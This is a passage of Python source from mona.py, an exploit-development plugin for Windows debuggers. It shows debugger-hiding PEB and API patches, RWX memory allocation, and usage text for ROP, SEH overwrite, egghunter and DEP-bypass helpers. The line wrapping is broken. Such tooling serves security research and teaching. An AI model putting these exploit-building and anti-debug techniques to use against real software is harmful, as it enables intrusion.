if "acl" in args:
if type(args["acl"]).__name__.lower() != "bool":
if args["acl"].upper() in memProtConstan
ts:
acl = args["acl"].upper()
else:
aclerror = True
else:
aclerror = True
if addyerror:
dbg.log(" *** Please specify a valid address to
argument -a ***")
if aclerror:
dbg.log(" *** Please specify a valid memory prot
ection constant with -acl ***")
dbg.log(" *** Valid values are :")
for acltype in memProtConstants:
dbg.log("
%s (%s = 0x%02x)" % (toSiz
e(acltype,10),memProtConstants[acltype][0],memProtConstants[acltype][1]))
if not addyerror and not aclerror:
pageacl = memProtConstants[acl][1]
pageaclname = memProtConstants[acl][0]
dbg.log("[+] Current ACL: %s" % getPointerAccess
(addy))
dbg.log("[+] Desired ACL: %s (0x%02x)" % (pageac
lname,pageacl))
retval = dbg.rVirtualAlloc(addy,1,0x1000,pageacl
)
return
def procToBp(args):
"""

Generate WinDBG syntax to create a logging breakpoint on


a given location
"""
addy = 0
addyerror = False
executenow = False
locsyntax = ""
regsyntax = ""
poisyntax = ""
dmpsyntax = ""
instructionparts = []
global silent
oldsilent = silent
regs = dbg.getRegs()
silent = True
if "a" in args:
if type(args["a"]).__name__.lower() != "bool":
addy,addyok = getAddyArg(args["a"])
if not addyok:
addyerror = True
else:
addy = regs["EIP"]
if "e" in args:
executenow = True
if addyerror:
dbg.log(" *** Please provide a valid address wit
h argument -a ***",highlight=1)
return
# get RVA for addy (or absolute address if addy is not p
art of a module)
bpdest = "0x%08x" % addy
instruction = ""
ptrx = MnPointer(addy)
modname = ptrx.belongsTo()
if not modname == "":
mod = MnModule(modname)
m = mod.moduleBase
rva = addy - m
bpdest = "%s+0x%02x" % (modname,rva)
thisopcode = dbg.disasm(addy)
instruction = thisopcode.getDisasm()
locsyntax = "bp %s" % bpdest
instructionparts = multiSplit(instruction,[" ",","])
usedregs = []
for reg in regs:
for ipart in instructionparts:
if reg.upper() in ipart.upper():
usedregs.append(reg)
if len(usedregs) > 0:
regsyntax = '.printf \\"'
argsyntax = ""

for ipart in instructionparts:


for reg in regs:
if reg.upper() in ipart.upper():
if "[" in ipart:
regsyntax += ipa
rt.replace("[","").replace("]","")
regsyntax += ":
0x%08x, "
argsyntax += "%s
," % ipart.replace("[","").replace("]","")
regsyntax += ipa
rt
regsyntax += ":
0x%08x, "
argsyntax += "%s
," % ipart.replace("[","poi(").replace("]",")")
iparttxt = ipart
.replace("[","").replace("]","")
dmpsyntax += ".e
cho;.echo %s:;dds %s L 0x24/4;" % (iparttxt,iparttxt)
else:
regsyntax += ipa
rt
regsyntax += ":
0x%08x, "
argsyntax += "%s
," % ipart
argsyntax = argsyntax.strip(",")
regsyntax = regsyntax.strip(", ")
regsyntax += '\\",%s;' % argsyntax
if "CALL" in instruction.upper():
dmpsyntax += '.echo;.printf \\"Stack (esp: 0x%08
x):\\",esp;.echo;dds esp L 0x4;'
bpsyntax = locsyntax + ' ".echo ---------------;u eip L
1;' + regsyntax + dmpsyntax + ".echo;g" + '"'
filename = "logbps.txt"
logfile = MnLog(filename)
thislog = logfile.reset(False,False)
with open(thislog, "a") as fh:
fh.write(bpsyntax + "\n")
silent = oldsilent
dbg.log("%s" % bpsyntax)
dbg.log("Updated %s" % thislog)
if executenow:
dbg.nativeCommand(bpsyntax)
dbg.log("> Breakpoint set at 0x%08x" % addy)
return
def procAllocMem(args):
size = 0x1000
addy = 0
sizeerror = False

addyerror = False
byteerror = False
fillup = False
writemore = False
fillbyte = "A"
acl = "RWX"
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
sval = args["s"]
if sval.lower().startswith("0x"):
try:
size = int(sval,16)
except:
sizeerror = True
else:
try:
size = int(sval)
except:
sizeerror = True
else:
sizeerror = True
if "b" in args:
if type(args["b"]).__name__.lower() != "bool":
try:
fillbyte = hex2bin(args["b"])[0]
except:
dbg.log(" *** Invalid byte speci
fied with -b ***")
byteerror = True
if size < 0x1:
sizeerror = True
dbg.log(" *** Minimum size is 0x1 bytes ***",hig
hlight=1)
if "a" in args:
if type(args["a"]).__name__.lower() != "bool":
addy,addyok = getAddyArg(args["a"])
if not addyok:
addyerror = True
if "fill" in args:
fillup = True
if "force" in args:
writemore = True
aclerror = False
if "acl" in args:
if type(args["acl"]).__name__.lower() != "bool":
if args["acl"].upper() in memProtConstan
ts:
acl = args["acl"].upper()
else:
aclerror = True
dbg.log(" *** Please specify a v
alid memory protection constant with -acl ***")
dbg.log(" *** Valid values are :
")

for acltype in memProtConstants:


dbg.log("
%s (%s = 0
x%02x)" % (toSize(acltype,10),memProtConstants[acltype][0],memProtConstants[aclt
ype][1]))
if addyerror:
dbg.log(" *** Please specify a valid address wit
h -a ***",highlight=1)
if sizeerror:
dbg.log(" *** Please specify a valid size with s ***",highlight = 1)
if not addyerror and not sizeerror and not byteerror and
not aclerror:
dbg.log("[+] Requested allocation size: 0x%08x (
%d) bytes" % (size,size))
if addy > 0:
dbg.log("[+] Desired target location : 0
x%08x" % addy)
pageacl = memProtConstants[acl][1]
pageaclname = memProtConstants[acl][0]
if addy > 0:
dbg.log("
Current page ACL: %s" % get
PointerAccess(addy))
dbg.log("

Desired page ACL: %s (0x%02x)" % (p

ageaclname,pageacl))
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
allocat = dbg.rVirtualAlloc(addy,size,0x1000,pag
eacl)
if addy == 0 and allocat > 0:
retval = dbg.rVirtualProtect(allocat,1,p
ageacl)
else:
retval = dbg.rVirtualProtect(addy,1,page
acl)
dbg.log("[+] Allocated memory at 0x%08x" % alloc
at)
#if allocat > 0:
#
dbg.log("

ACL 0x%08x: %s" % (allocat,

#else:
#
dbg.log("

ACL 0x%08x: %s" % (addy,get

getPointerAccess(allocat)))
PointerAccess(addy)))
if allocat == 0 and fillup and not writemore:
dbg.log("[+] It looks like the page was
already mapped. Use the -force argument")
dbg.log("
to make me write to 0x%08x
anyway" % addy)
if (allocat > 0 and fillup) or (writemore and fi
llup):
loc = 0
written = 0
towrite = size
while loc < towrite:
try:
dbg.writeMemory(addy+loc
,fillbyte)

written += 1
except:
pass
loc += 1
dbg.log("[+] Wrote %d times \\x%s to chu
nk at 0x%08x" % (written,bin2hex(fillbyte),addy))
return
def procHideDebug(args):
peb = dbg.getPEBAddress()
dbg.log("[+] Patching PEB (0x%08x)" % peb)
if peb == 0:
dbg.log("** Unable to find PEB **")
return
isdebugged = struct.unpack('<B',dbg.readMemory(peb + 0x0
2,1))[0]
processheapflag = dbg.readLong(peb + 0x18)
processheapflag += 0x10
processheapvalue = dbg.readLong(processheapflag)
ntglobalflag = dbg.readLong(peb + 0x68)
dbg.log("

Patching PEB.IsDebugged

: 0x%x -> 0x%

x" % (isdebugged,0))
dbg.writeMemory(peb + 0x02, '\x00')
dbg.log("
Patching PEB.ProcessHeap.Flag : 0x%x -> 0x%
x" % (processheapvalue,0))
dbg.writeLong(processheapflag,0)
dbg.log("

Patching PEB.NtGlobalFlag

: 0x%x -> 0x%

x" % (ntglobalflag,0))
dbg.writeLong(peb + 0x68, 0)
dbg.log("
Patching PEB.LDR_DATA Fill pattern")
a = dbg.readLong(peb + 0xc)
while a != 0:
a += 1
try:
b = dbg.readLong(a)
c = dbg.readLong(a + 4)
if (b == 0xFEEEFEEE) and (c == 0xFEEEFEE
E):
dbg.writeLong(a,0)
dbg.writeLong(a + 4,0)
a += 7
except:
break
uef = dbg.getAddress("kernel32.UnhandledExceptionFilter"
)
if uef > 0:
dbg.log("[+] Patching kernel32.UnhandledExceptio
nFilter (0x%08x)" % uef)
uef += 0x86
dbg.writeMemory(uef, dbg.assemble(" \
PUSH EDI \
"))
else:

dbg.log("[-] Failed to hook kernel32.UnhandledEx


ceptionFilter (0x%08x)")
remdebpres = dbg.getAddress("kernel32.CheckRemoteDebugge
rPresent")
if remdebpres > 0:
dbg.log("[+] Patching CheckRemoteDebuggerPresent
(0x%08x)" % remdebpres)
dbg.writeMemory( remdebpres, dbg.assemble( " \
MOV EDI, EDI
\n \
PUSH EBP
\n \
MOV EBP, ESP
\n \
MOV

EAX, [EBP + C]

\n \
PUSH 0
\n \
POP

[EAX]

XOR

EAX, EAX

POP

EBP

RET

\n \
\n \
\n \
\
" ) )
else:
dbg.log("[-] Unable to patch CheckRemoteDebugger
Present")
gtc = dbg.getAddress("kernel32.GetTickCount")
if gtc > 0:
dbg.log("[+] Patching GetTickCount (0x%08x)" % g
tc)
patch = dbg.assemble("MOV EDX, 0x7FFE0000") + Po
ly_ReturnDW(0x0BADF00D) + dbg.assemble("Ret")
while len(patch) > 0x0F:
patch = dbg.assemble("MOV EDX, 0x7FFE000
0") + Poly_ReturnDW(0x0BADF00D) + dbg.assemble("Ret")
dbg.writeMemory( gtc, patch )
else:
dbg.log("[-] Unable to pach GetTickCount")
zwq = dbg.getAddress("ntdll.ZwQuerySystemInformation")
if zwq > 0:
dbg.log("[+] Patching ZwQuerySystemInformation (
0x%08x)" % zwq)
isPatched = False
a = 0
s = 0
while a < 3:
a += 1
s += dbg.disasmSizeOnly(zwq + s).opsize
FakeCode = dbg.readMemory(zwq, 1) + "\x78\x56\x3
4\x12" + dbg.readMemory(zwq + 5, 1)
if FakeCode == dbg.assemble("PUSH 0x12345678\nRE
T"):
isPatched = True

a = dbg.readLong(zwq+1)
i = 0
s = 0
while i < 3:
i += 1
s += dbg.disasmSizeOnly(a+s).ops
ize
if isPatched:
dbg.log("

Function was already patche

d.")
else:
a = dbg.remoteVirtualAlloc(size=0x1000)
if a > 0:
dbg.log("
Writing instruction
s to 0x%08x" % a)
dbg.writeMemory(a, dbg.readMemor
y(zwq,s))
pushCode = dbg.assemble("PUSH 0x
%08x" % (zwq + s))
patchCode = "\x83\x7c\x24\x08\x0
7"

# CMP [ESP+8],7
patchCode += "\x74\x06"
patchCode += pushCode
patchCode += "\xC3"

# RETN
patchCode += "\x8B\x44\x24\x0c"
# MOV EAX,[ESP+0x0c]
patchCode += "\x6a\x00"
# PUSH 0
patchCode += "\x8f\x00"
# POP [EAX]
patchCode += "\x33\xC0"
# XOR EAX,EAX
patchCode += "\xC2\x14\x00"
# RETN 14
dbg.writeMemory( a + s, patchCod
e)
# redirect function
dbg.writeMemory( zwq, dbg.assemb
le( "PUSH 0x%08X\nRET" % a) )
else:
dbg.log("

** Unable to alloca

te memory in target process **")


else:
dbg.log("[-] Unable to patch ZwQuerySystemInform
ation")
return
# ----- Finally, some main stuff ----- #
# All available commands and their Usage :
sehUsage = """Default module criteria : non safeseh, non aslr, n
on rebase
This function will retrieve all stackpivot pointers that will bring you back to

nseh in a seh overwrite exploit


Optional argument:
-all : also search outside of loaded modules"""
configUsage = """Change config of mona.py
Available options are : -get <parameter>, -set <parameter> <value> or -add <para
meter> <value_to_add>
Valid parameters are : workingfolder, excluded_modules, author"""
jmpUsage = """Default module criteria : non aslr, non rebase
Mandatory argument : -r <reg> where reg is a valid register"""
ropfuncUsage = """Default module criteria : non aslr, non rebase
, non os
Output will be written to ropfunc.txt"""
modulesUsage = """Shows information about the loaded modules"""
ropUsage="""Default module criteria : non aslr,non rebase,non os
Optional parameters :
-offset <value> : define the maximum offset for RET instructions (integer, d
efault : 40)
-distance <value> : define the minimum distance for stackpivots (integer, de
fault : 8).
If you want to specify a min and max distance, set the v
alue to min,max
-depth <value> : define the maximum nr of instructions (not ending instructi
on) in each gadget (integer, default : 6)
-split : write gadgets to individual files, grouped by the module the gadget
belongs to
-fast : skip the 'non-interesting' gadgets
-end <instruction(s)> : specify one or more instructions that will be used a
s chain end.
(Separate instructions with #). Default ending is
RETN
-f \"file1,file2,..filen\" : use mona generated rop files as input instead o
f searching in memory
-rva : use RVA's in rop chain"""
jopUsage="""Default module criteria : non aslr,non rebase,non os
Optional parameters :
-depth <value> : define the maximum nr of instructions (not ending instructi
on) in each gadget (integer, default : 8)"""
stackpivotUsage="""Default module criteria : non aslr,non rebase
,non os
Optional parameters :
-offset <value> : define the maximum offset for RET instructions (integer, d
efault : 40)
-distance <value> : define the minimum distance for stackpivots (integer, de
fault : 8)
If you want to specify a min and max distance, set the v
alue to min,max
-depth <value> : define the maximum nr of instructions (not ending instructi
on) in each gadget (integer, default : 6)"""
filecompareUsage="""Compares 2 or more files created by mona usi
ng the same output commands

Make sure to use files that are created with the same version of mona and
contain the output of the same mona command.
Mandatory argument : -f \"file1,file2,...filen\"
Put all filenames between one set of double quotes, and separate files with comm
a's.
You can specify a foldername as well with -f, all files in the root of that fold
er will be part of the compare.
Output will be written to filecompare.txt and filecompare_not.txt (not matching
pointers)
Optional parameters :
-contains \"INSTRUCTION\" (will only list if instruction is found)
-nostrict (will also list pointer is instructions don't match in all files)
-range <number> : find overlapping ranges for all pointers + range.
When using -range, the -contains and -nostrict options wil
l be ignored
-ptronly : only show matching pointers (slightly faster). Doesn't work when
'range' is used"""
patcreateUsage="""Create a cyclic pattern of a given size. Outpu
t will be written to pattern.txt
Mandatory argument : size (numberic value)
Optional arguments :
-js : output pattern in unicode escaped javascript format
-extended : extend the 3rd characterset (numbers) with punctuation marks etc
-c1 <chars> : set the first charset to this string of characters
-c2 <chars> : set the second charset to this string of characters
-c3 <chars> : set the third charset to this string of characters"""
patoffsetUsage="""Find the location of 4 bytes in a cyclic patte
rn
Mandatory argument : the 4 bytes to look for
Note : you can also specify a register
Optional arguments :
-extended : extend the 3rd characterset (numbers) with punctuation marks etc
-c1 <chars> : set the first charset to this string of characters
-c2 <chars> : set the second charset to this string of characters
-c3 <chars> : set the third charset to this string of characters
Note : the charset must match the charset that was used to create the pattern !
"""
findwildUsage = """Find instructions in memory, accepts wildcard
s :
Mandatory arguments :
-s <instruction#instruction#instruction> (separate instructions with #)
Optional arguments :
-b <address> : base/bottom address of the search range
-t <address> : top address of the search range
-depth <nr> : number of instructions to go deep
-all : show all instruction chains, even if it contains something that m
ight break the chain
-distance min=nr,max=nr : you can use a numeric offset wildcard (a singl
e *) in the first instruction of the search
the distance parameter allows you to specify the range of the offset
Inside the instructions string, you can use the following wildcards :
* = any instruction
r32 = any register
Example : pop r32#*#xor eax,eax#*#pop esi#ret
"""

findUsage= """Find a sequence of bytes in memory.


Mandatory argument : -s <pattern> : the sequence to search for. If you specified
type 'file', then use -s to specify the file.
This file needs to be a file created with mona.py, containing pointers at the be
gin of each line.
Optional arguments:
-type <type>
: Type of pattern to search for : bin,asc,ptr,instr,file
-b <address> : base/bottom address of the search range
-t <address> : top address of the search range
-c : skip consecutive pointers but show length of the pattern instead
-p2p : show pointers to pointers to the pattern (might take a while !)
this setting equals setting -level to 1
-level <number> : do recursive (p2p) searches, specify number of levels deep
if you want to look for pointers to pointers, set level to
1
-offset <number> : subtract a value from a pointer at a certain level
-offsetlevel <number> : level to subtract a value from a pointer
-r <number> : if p2p is used, you can tell the find to also find close point
ers by specifying -r with a value.
This value indicates the number of bytes to step backwards for
each search
-unicode : used in conjunction with search type asc, this will convert the s
earch pattern to unicode first
-ptronly : Only show the pointers, skip showing info about the pointer (slig
htly faster)"""
assembleUsage = """Convert instructions to opcode. Separate mult
iple instructions with #.
Mandatory argument : -s <instructions> : the sequence of instructions to assembl
e to opcode"""
infoUsage = """Show information about a given address in the con
text of the loaded application
Mandatory argument : -a <address> : the address to query"""
dumpUsage = """Dump the specified memory range to a file. Either
the end address or the size of
buffer needs to be specified.
Mandatory arguments :
-s <address> : start address
-f <filename> : the name of the file where to write the bytes
Optional arguments:
-n <size> : the number of bytes to copy (size of the buffer)
-e <address> : the end address of the copy"""
compareUsage = """Compares contents of a binary file with locati
ons in memory.
Mandatory argument :
-f <filename> : full path to binary file
Optional argument :
-a <address> : the exact address of the bytes in memory (address or register
).
If you don't specify an address, I will try to locate the byt
es in memory
by looking at the first 8 bytes.
-s : skip locations that belong to a module"""
offsetUsage = """Calculate the number of bytes between two addre
sses. You can use
registers instead of addresses.

Mandatory arguments :
-a1 <address> : the first address/register
-a2 <address> : the second address/register"""
bpUsage = """Set a breakpoint when a given address is read from,
written to or executed
Mandatory arguments :
-a <address> : the address where to set the breakpoint
(absolute address / register / modulename!functionname)
-t <type> : type of the breakpoint, can be READ, WRITE or SFX"""
bfUsage = """Set a breakpoint on exported or imported function(s
) of the selected modules.
Mandatory argument :
-t <type> : type of breakpoint action. Can be 'add', 'del' or 'list'
Optional arguments :
-f <function type> : set to 'import' or 'export' to read IAT or EAT. Default
: export
-s <func,func,func> : specify function names.
If you want a bp on all functions, set -s to *"""
nosafesehUsage = """Show modules that are not safeseh protected"
""
nosafesehaslrUsage = """Show modules that are not safeseh protec
ted, not subject to ASLR, and won't get rebased either"""
noaslrUsage = """Show modules that are not subject to ASLR and w
on't get rebased"""
findmspUsage = """Finds begin of a cyclic pattern in memory, loo
ks if one of the registers contains (is overwritten) with a cyclic pattern
or points into a cyclic pattern. findmsp will also look if a SEH record is overw
ritten and finally,
it will look for cyclic patterns on the stack, and pointers to cyclic pattern on
the stack.
Optional argument :
-distance <value> : distance from ESP, applies to search on the stack. Defau
lt : search entire stack
Note : you can use the same options as with pattern_create and pattern_offset in
terms of defining the character set to use"""
suggestUsage = """Suggests an exploit buffer structure based on
pointers to a cyclic pattern
Note : you can use the same options as with pattern_create and pattern_offset in
terms of defining the character set to use
Mandatory argument in case you are using WinDBG:
-t <type:arg> : skeletontype. Valid types are :
tcpclient:port, udpclient:port, fileformat:extension
Examples : -t tcpclient:21
-t fileformat:pdf"""
bytearrayUsage = """Creates a byte array, can be used to find ba
d characters
Optional arguments :
-cpb <bytes> : bytes to exclude from the array. Example : '\\x00\\x0a\\x0d'
Note: you can specify wildcards using ..
Example: '\\x00\\x0a..\\x20\\x32\\x7f..\\xff'
-r : show array backwards (reversed), starting at \\xff
Output will be written to bytearray.txt, and binary output will be written t
o bytearray.bin"""
headerUsage = """Convert contents of a binary file to code that

can be run to produce the file


Mandatory argument :
-f <filename> : source filename
Optional argument:
-t <type>
: specify type of output. Valid choices are 'ruby' (default) o
r 'python' """
updateUsage = """Update mona to the latest version
Optional argument :
-http : Use http instead of https"""
getpcUsage = """Find getpc routine for specific register
Mandatory argument :
-r : register (ex: eax)"""
eggUsage = """Creates an egghunter routine
Optional arguments :
-t : tag (ex: w00t). Default value is w00t
-c : enable checksum routine. Only works in conjunction with parameter -f
-f <filename> : file containing the shellcode
-startreg <reg> : start searching at the address pointed by this reg
-wow64 : generate wow64 egghunter. Default is traditional 32bit egghunter
DEP Bypass options :
-depmethod <method> : method can be "virtualprotect", "copy" or "copy_size"
-depreg <reg> : sets the register that contains a pointer to the API functio
n to bypass DEP.
By default this register is set to ESI
-depsize <value> : sets the size for the dep bypass routine
-depdest <reg> : this register points to the location of the egghunter itsel
f.
When bypassing DEP, the egghunter is already marked as exec
utable.
So when using the copy or copy_size methods, the DEP bypass
in the egghunter
would do a "copy 2 self". In order to be able to do so, it
needs a register
where it can copy the shellcode to.
If you leave this empty, the code will contain a GetPC rout
ine."""
stacksUsage = """Shows all stacks for each thread in the running
application"""
skeletonUsage = """Creates a Metasploit exploit module skeleton
for a specific type of exploit
Mandatory argument in case you are using WinDBG:
-t <type:arg> : skeletontype. Valid types are :
tcpclient:port, udpclient:port, fileformat:extension
Examples : -t tcpclient:21
-t fileformat:pdf
Optional arguments :
-s : size of the cyclic pattern (default : 5000)
"""
heapUsage = """Show information about various heap chunk lists
Mandatory arguments :
-h <address> : base address of the heap to query
-t <type> : where type is 'segments', 'chunks', 'layout',
'fea' (let mona determine the frontend allocator),
'lal' (force display of LAL FEA, only on XP/2003),
'lfh' (force display of LFH FEA (Vista/Win7/...)),

'bea' (backend allocator, mona will automatically determine what


it is),
'all' (show all information)
Note: 'layout' will show all heap chunks and their vtables & strings. Use on
WinDBG for maximum results.
Optional arguments :
-expand : Works only in combination with 'layout', will include VA/LFH/... c
hunks in the search.
VA/LFH chunks may be very big, so this might slow down the search.
-stat : show statistics (also works in combination with -h heap, -t segments
or -t chunks
-size <nr> : only show strings of at least the specified size. Works in comb
ination with 'layout'
-after <data> : only show current & next chunk layout entries when an entry
contains this data
(Only works in combination with 'layout')
-v : show data / write verbose info to the Log window"""
getiatUsage = """Show IAT entries from selected module(s)
Optional arguments :
-s <keywords> : only show IAT entries that contain one of these keywords"""
geteatUsage = """Show EAT entries from selected module(s)
Optional arguments :
-s <keywords> : only show EAT entries that contain one of these keywords"""
deferUsage = """Set a deferred breakpoint
Mandatory arguments :
-a <target>,<target>,...
target can be an address, a modulename.functionname or module.dll+offset (he
x value)
Warning, modulename.functionname is case sensitive !
"""
calltraceUsage = """Logs all CALL instructions
Mandatory arguments :
-m module : specify what module to search for CALL instructions (global opti
on)
Optional arguments :
-a <number> : number of arguments to show for each CALL
-r : also trace RETN instructions (will slow down process!)"""
fillchunkUsage = """Fills a heap chunk, referenced by a register
, with A's (or another character)
Mandatory arguments :
-r <reg/reference> : reference to heap chunk to fill
Optional arguments :
-b <character or byte to use to fill up chunk>
-s <size> : if the referenced chunk is not found, and a size is defined with
-s,
memory will be filled anyway, up to the specified size"""
getpageACLUsage = """List all mapped pages and show the ACL asso
ciated with each page
Optional arguments :
-a <address> : only show page information around this address.
(Page before, current page and page after will be displayed)"
""
bpsehUsage = """Sets a breakpoint on all current SEH Handler fun

ction pointers"""
kbUsage = """Manage knowledgebase data
Mandatory arguments:
-<type> : type can be 'list', 'set' or 'del'
To 'set' ( = add / update ) a KB entry, or 'del' an entry,
you will need to specify 2 additional arguments:
-id <id> : the Knowledgebase ID
-value <value> : the value to add/update. In case of lists, use a comma
to separate entries.
The -list parameter will show all current ID's
To see the contents of a specific ID, use the -id <id> parameter."""
macroUsage = """Manage macros for WinDBG
Arguments:
-run <macroname> : run the commands defined in the specified macro
-show <macroname> : show all commands defined in the specified macro
-add <macroname> : create a new macro
-set <macroname> -index <nr> -cmd <windbg command(s)> : edit a macro
If you set the -command value to #, the command at the specified
index
will be removed. If you have specified an existing index, the co
mmand
at that position will be replaced, unless you've also specified t
he -insert parameter.
If you have not specified an index, the command will be appended
to he list.
-set <macroname> -file <filename> : will tell this macro to execute all inst
ructions in the
specified file. You can only enter one file per macro.
-del <macroname> -iamsure: remove the specified macro. Use with care, I won'
t ask if you're sure."""
sehchainUsage = """Displays the SEH chain for the current thread
.
This command will also attempt to display offsets and suggest a payload structur
e
in case a cyclic pattern was used to overwrite the chain."""
heapCookieUsage = """Will attempt to find reliable writeable poi
nters that can help avoiding
a heap cookie check during an arbitrary free on Windows XP"""
hidedebugUsage = """Will attempt to hide the debugger from the p
rocess"""
gflagsUsage = """Will show the currently set GFlags, based on th
e PEB.NtGlobalFlag value"""
fwptrUsage = """Search for calls to pointers in a writeable loca
tion,
will assist with finding a good target for 4byte arbitrary writes
Optional arguments:
-bp : Set breakpoints on all found CALL instructions
-patch : Patch the target of each CALL with 0x41414141
-chunksize <nr> : only list the pointer if location-8 bytes contains a size
value larger than <nr>
(size in blocks, not bytes)
-offset <nr> : add <nr> bytes of offset within chunk, after flink/blink poin
ter
(use in combination with -freelist and -chunksize <nr>)
-freelist : Search for fwptr that are preceeded by 2 readable pointers that

can act as flink/blink"""


allocmemUsage = """Allocate RWX memory in the debugged process.
Optional arguments:
-s <size>
: desired size of allocated chunk. VirtualAlloc will allocate a
t least 0x1000 bytes,
but this size argument is only useful when used in combinatio
n with -fill.
-a <address> : desired target location for allocation, set to start of chunk
to allocate.
-acl <level> : overrule default RWX memory protection.
-fill
: fill 'size' bytes (-s) of memory at specified address (-a) wi
th A's.
-force
: use in combination with -fill, in case page was already mappe
d but you still want to
fill the chunk at the desired location.
-b <byte>
: Specify what byte to write to the desired location. Defaults
to '\\x41'
"""
changeaclUsage = """Change the ACL of a given page.
Arguments:
-a <address> : Address belonging to the page that needs to be changed
-acl <level> : New ACL. Valid values are R,RW,RXW,RX,N,GUARD,NOCACHE,WC"""
infodumpUsage = """Dumps contents of memory to file. Contents wi
ll include all pages that don't
belong to stack, heap or loaded modules.
Output will be written to infodump.xml"""
pebUsage = """Show the address of the Process Environment Block
(PEB)"""
tebUsage = """Show the address of the Thread Environment Block (
TEB) for the current thread"""
encUsage = """Encode a series of bytes
Arguments:
-t <type>
: Type of encoder to use. Allowed value(s) are alphanum
-s <bytes>
: The bytes to encode (or use -f instead)
-f <path to file> : The full path to the binary file that contains the bytes
to encode"""
stringUsage = """Read a string from memory or write a string to
memory
Arguments:
-r
: Read a string, use in combination with -a
-w
: Write a string, use in combination with -a and -s
-noterminate
: Do not terminate the string (using in combination with w)
-u
: use UTF-16 (Unicode) mode
-s <string>
: The string to write
-a <address>
: The location to read from or write to"""
unicodealignUsage = """Generates a venetian shellcode alignment
stub which can be placed directly before unicode shellcode.
Arguments:
-a <address>

: Specify the address where the alignment code will start/

be placed
: If -a is not specified, the current value in EIP will be
used.
-l
valent

: Prepend alignment with a null byte compensating nop equi

(Use this if the last instruction before the alignment r


outine 'leaks' a null byte)
-b <reg>
: Set the bufferregister, defaults to eax
-t <seconds>
: Time in seconds to run heuristics (defaults to 15)
-ebp <value>
: Overrule the use of the 'current' value of ebp,
ebp/address will be used to calculate offset to shellcod
e"""
copyUsage = """Copies bytes from one location to another.
Arguments:
-src <address>
-dst <address>
-n <number>

: The source address


: The destination address
: The number of bytes to copy"""

dumpobjUsage = """Dump the contents of an object.


Arguments:
-a <address>
-s <number>
Optional arguments:
-l <number>
-m <number>
"""

: Address of object
: Size of object (default value: 0x28 or size of chunk)
: Recursively dump objects
: Size for recursive objects (default value: 0x28)

dumplogUsage = """Dump all objects recorded in an alloc/free log


Note: dumplog will only dump objects that have not been freed in the same logfil
e.
Expected syntax for log entries:
Alloc : 'alloc(size in hex) = address'
Free : 'free(address)'
Additional text after the alloc & free info is fine.
Just make sure the syntax matches exactly with the examples above.
Arguments:
-f <path/to/logfile> : Full path to the logfile
Optional arguments:
-l <number>
: Recursively dump objects
-m <number>
: Size for recursive objects (default value: 0x28)"""
tobpUsage = """Generate WinDBG syntax to set a logging breakpoin
t at a given location
Arguments:
-a <address>
: Location (address, register) for logging breakpoint
Optional arguments:
-e
: Execute breakpoint command right away"""
commands["seh"]
= MnCommand("seh", "Find
pointers to assist with SEH overwrite exploits",sehUsage, procFindSEH)
commands["config"]
= MnCommand("config","Ma
nage configuration file (mona.ini)",configUsage,procConfig,"conf")
commands["jmp"]
= MnCommand("jmp","Find
pointers that will allow you to jump to a register",jmpUsage,procFindJMP, "j")
commands["ropfunc"]
= MnCommand("ropfunc","Find poin
ters to pointers (IAT) to interesting functions that can be used in your ROP cha

in",ropfuncUsage,procFindROPFUNC)
commands["rop"]
= MnCommand("rop","Finds
gadgets that can be used in a ROP exploit and do ROP magic with them",ropUsage,
procROP)
commands["jop"]
= MnCommand("jop","Finds
gadgets that can be used in a JOP exploit",jopUsage,procJOP)
commands["stackpivot"]
= MnCommand("stackpivot","Finds
stackpivots (move stackpointer to controlled area)",stackpivotUsage,procStackPiv
ots)
commands["modules"]
= MnCommand("modules","Show all
loaded modules and their properties",modulesUsage,procShowMODULES,"mod")
commands["filecompare"]
= MnCommand("filecompare","Compa
res 2 or more files created by mona using the same output commands",filecompareU
sage,procFileCOMPARE,"fc")
commands["pattern_create"]
= MnCommand("pattern_create","Cr
eate a cyclic pattern of a given size",patcreateUsage,procCreatePATTERN,"pc")
commands["pattern_offset"]
= MnCommand("pattern_offset","Fi
nd location of 4 bytes in a cyclic pattern",patoffsetUsage,procOffsetPATTERN,"po
")
commands["find"]
= MnCommand("find", "Fin
d bytes in memory", findUsage, procFind,"f")
commands["findwild"]
= MnCommand("findwild", "Find in
structions in memory, accepts wildcards", findwildUsage, procFindWild,"fw")
commands["assemble"]
= MnCommand("assemble", "Convert
instructions to opcode. Separate multiple instructions with #",assembleUsage,pr
ocAssemble,"asm")
commands["info"]
= MnCommand("info", "Sho
w information about a given address in the context of the loaded application",in
foUsage,procInfo)
commands["dump"]
= MnCommand("dump", "Dum
p the specified range of memory to a file", dumpUsage,procDump)
commands["offset"]
= MnCommand("offset", "Calculate the
number of bytes between two addresses", offsetUsage, procOffset)
commands["compare"]
= MnCommand("compare","C
ompare contents of a binary file with a copy in memory", compareUsage, procCompa
re,"cmp")
commands["breakpoint"]
= MnCommand("bp","Set a memory b
reakpoint on read/write or execute of a given address", bpUsage, procBp,"bp")
commands["nosafeseh"]
= MnCommand("nosafeseh", "Show m
odules that are not safeseh protected", nosafesehUsage, procModInfoS)
commands["nosafesehaslr"]
= MnCommand("nosafesehaslr", "Sh
ow modules that are not safeseh protected, not aslr and not rebased", nosafeseha
slrUsage, procModInfoSA)
commands["noaslr"]
= MnCommand("noaslr", "S
how modules that are not aslr or rebased", noaslrUsage, procModInfoA)
commands["findmsp"]
= MnCommand("findmsp","F
ind cyclic pattern in memory", findmspUsage,procFindMSP,"findmsf")
commands["suggest"]
= MnCommand("suggest","S
uggest an exploit buffer structure", suggestUsage,procSuggest)
commands["bytearray"]
= MnCommand("bytearray","Creates
a byte array, can be used to find bad characters",bytearrayUsage,procByteArray,
"ba")
commands["header"]
= MnCommand("header","Re
ad a binary file and convert content to a nice 'header' string",headerUsage,proc
PrintHeader)
commands["update"]
= MnCommand("update","Up
date mona to the latest version",updateUsage,procUpdate,"up")
commands["getpc"]
= MnCommand("getpc","Sho
w getpc routines for specific registers",getpcUsage,procgetPC)
commands["egghunter"]
= MnCommand("egghunter","Create

egghunter code",eggUsage,procEgg,"egg")
commands["stacks"]
= MnCommand("stacks","Sh
ow all stacks for all threads in the running application",stacksUsage,procStacks
)
commands["skeleton"]
= MnCommand("skeleton","Create a
Metasploit module skeleton with a cyclic pattern for a given type of exploit",s
keletonUsage,procSkeleton)
commands["breakfunc"]
= MnCommand("breakfunc","Set a b
reakpoint on an exported function in on or more dll's",bfUsage,procBf,"bf")
commands["heap"]
= MnCommand("heap","Show
heap related information",heapUsage,procHeap)
